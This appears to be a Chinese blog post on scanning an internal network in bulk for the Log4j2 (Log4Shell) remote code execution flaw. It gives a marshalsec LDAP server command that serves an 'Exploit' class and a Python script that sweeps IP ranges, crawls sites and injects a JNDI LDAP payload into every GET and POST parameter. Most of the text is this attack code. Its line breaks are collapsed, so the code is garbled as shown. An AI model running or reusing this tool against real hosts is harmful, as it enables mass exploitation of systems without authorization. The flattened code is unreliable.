内网批量扫描Aapache Log4j2 RCE
Apache Log4j2 远程代码执行漏洞爆出有一段时间了,github上与之相关的扫描脚本也已经有很多了。但是这些工具放到内网并不好使,因为脚本扫描原理通常都基于Dnslog等服务端的回显信息来判断漏洞是否存在,而我们内网是没有Dnslog的。
解决方法有两种,一是在内网搭建Dnslog观察是否有回显,二是搭建ldap服务观察是否可以反弹shell。第一种姿势需要在内网注册一个域名,考虑到自己只是一个权限低微的测试员,就放弃了这种想法;第二种姿势利用起来没有什么难度,使用marshalsec开启ldap服务即可。但我们现在要做的是批量扫描,不断检测是否反弹shell还是太慢了。
批量扫描、不借助dnslog、力求准确快速,咋整呢?通过测试发现,当log4j2 漏洞发生时,ldap服务下是可以看到访问记录的,那我们就可以通过发送特定payload再查看ldap的访问记录来锁定漏洞点。大致步骤如下:
利用Rad(长亭开发的爬虫软件)收集目标域名下的所有网页
利用python对Rad收集的数据进行处理,即在GET以及POST参数位置替换为log4j2 rce的payload
在内网服务器上使用marshalsec开启ldap服务,并将访问结果保存到web路径下,命名为record.bin
利用python将第2步中已处理的数据发送到目标主机,然后不断访问内网服务器的record.bin判断payload是否执行
需要用到的工具:
Rad、谷歌浏览器(Rad扫描的依赖)、python执行环境以及marshalsec
内网服务端运行:
在1389端口开启ldap,并在80端口开启web
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://内网服务器ip:80/\#Exploit 1389
本地运行脚本:
python log4j-test.py 目标ip 目标port
#coding=utf-8import sysimport osimport socketimport datetimeimport urllibimport requestsimport time#把ip和port列为标准格式,192.168.0.1-192.168.0.255,127.0.0.1,www.baid.comif len(sys.argv)==2:ip_str=sys.argv[1]port_str=''elif len(sys.argv)==3:ip_str=sys.argv[1]port_str=sys.argv[2]else:print 'python log4j2-test.py ip port'sys.exit()ip_list=[]tmp=ip_str.split(',')for i in range(len(tmp)):if "-" in tmp[i]:s=tmp[i].split('-')[0]e=tmp[i].split('-')[1]for j in range(int(s.split('.')[3]),int(e.split('.')[3])+1):ip_list.append(s[0:s.rfind('.')+1]+str(j))else:ip_list.append(tmp[i])#print ip_listport_list=[]tmp=port_str.split(',')for i in range(len(tmp)):if "-" in tmp[i]:s=tmp[i].split('-')[0]e=tmp[i].split('-')[1]for j in range(int(s),int(e)+1):port_list.append(str(j))else:port_list.append(tmp[i])#print port_list#ip和port循环遍历,调用socket判断端口是否开放print 'testing ip & port.........'url_list=[]for i in range(len(ip_list)):for j in range(len(port_list)):try:url=ip_list[i]+':'+port_list[j]#print urlconn=socket.socket(socket.AF_INET,socket.SOCK_STREAM)conn.settimeout(0.1)conn.connect((ip_list[i],int(port_list[j])))#connect(),参数为元组形式,ip是字符串,port是整型print url+' is alive'conn.shutdown(2)conn.close()url_list.append('http://'+url)url_list.append('https://'+url)except:pass#遍历url,调用rad存放于文件中,读取文件,对发包数据进行poc替换,再发送#poc替换def Poc_Exchange(f,poc):tmp=''while True:k=f.readline()if 'GET' in k and '?' not in k:while '---------' not in k:k=f.readline()if not k:breakif 'GET /' in k and '?' in k:s=k.find('=')e=k.find(' ',s)tmp+=k.replace(k[s+1:e],urllib.quote(poc))k=f.readline()while '-------' not in k:tmp+=kk=f.readline()if not k:tmp+="$@*@*@$"breaktmp+="$@*@*@$"if 'POST /' in k:tmp+=kwhile '--------' not in k:k=f.readline()if k=='\n':tmp+=kk=f.readline()if k.count('=')==1:s=k.find('=')k=k.replace(k[s+1:],poc+'$@*@*@$')tmp+=kelif k.count('=')>1:s=0for j in range(k.count('=')):s=k.find('=',s)e=k.find('&',s)if e!=-1:k=k.replace(k[s+1:e],poc)s=s+len(poc)else:k=k.replace(k[s+1:],poc+'$@*@*@$')tmp+=kelse:tmp+='payload='+poc+'$@*@*@$'breakelse:tmp+=kif not k:breakreturn tmp#socket发包def Soc_Send(request,identifier):tmp=request.split('\r\n')for i in range(len(tmp)):if 'Host:' in tmp[i]:s=tmp[i].find('Host: ')+len('Host: ')e=tmp[i].find(':',s)if e==-1:ip=tmp[i][s:]port=80else:ip=tmp[i][s:e]port=int(tmp[i][e+1:])print (ip,port)breakconn=socket.socket(socket.AF_INET,socket.SOCK_STREAM)conn.connect((ip,port))conn.send(request)time.sleep(1)r=requests.get('http://192.168.0.1:80/record.bin')print r.textif identifier in r.text:return Trueelse:return False#整合for i in range(len(url_list)):t=datetime.datetime.now().strftime('%Y_%m_%d_%H_%M_%S')cmd=' .\\rad_windows_386.exe -t '+url_list[i]+' --full '+'tmp'+t+'.txt'#文件名不可用.print cmdos.system(cmd)print 'payload is exchanging...'with open('tmp'+t+'.txt','rb')as f:#tmp=Poc_Exchange(f,'${jndi:ldap://192.168.0.1:1389/'+t+'exp}')if len(tmp)!=0:tmp=tmp.split('$@*@*@$')for j in range(len(tmp)):if tmp[j]!='':ss=Soc_Send(tmp[j],t)if ss :with open('log4j-result','ab') as f1:f1.write(url_list[i]+'\n')print url_list[i]+' has log4j2 vulnerable!!!\n'else:print url_list[i]+'pass\n'else:print 'no reasonable flow'os.remove('tmp'+t+'.txt')
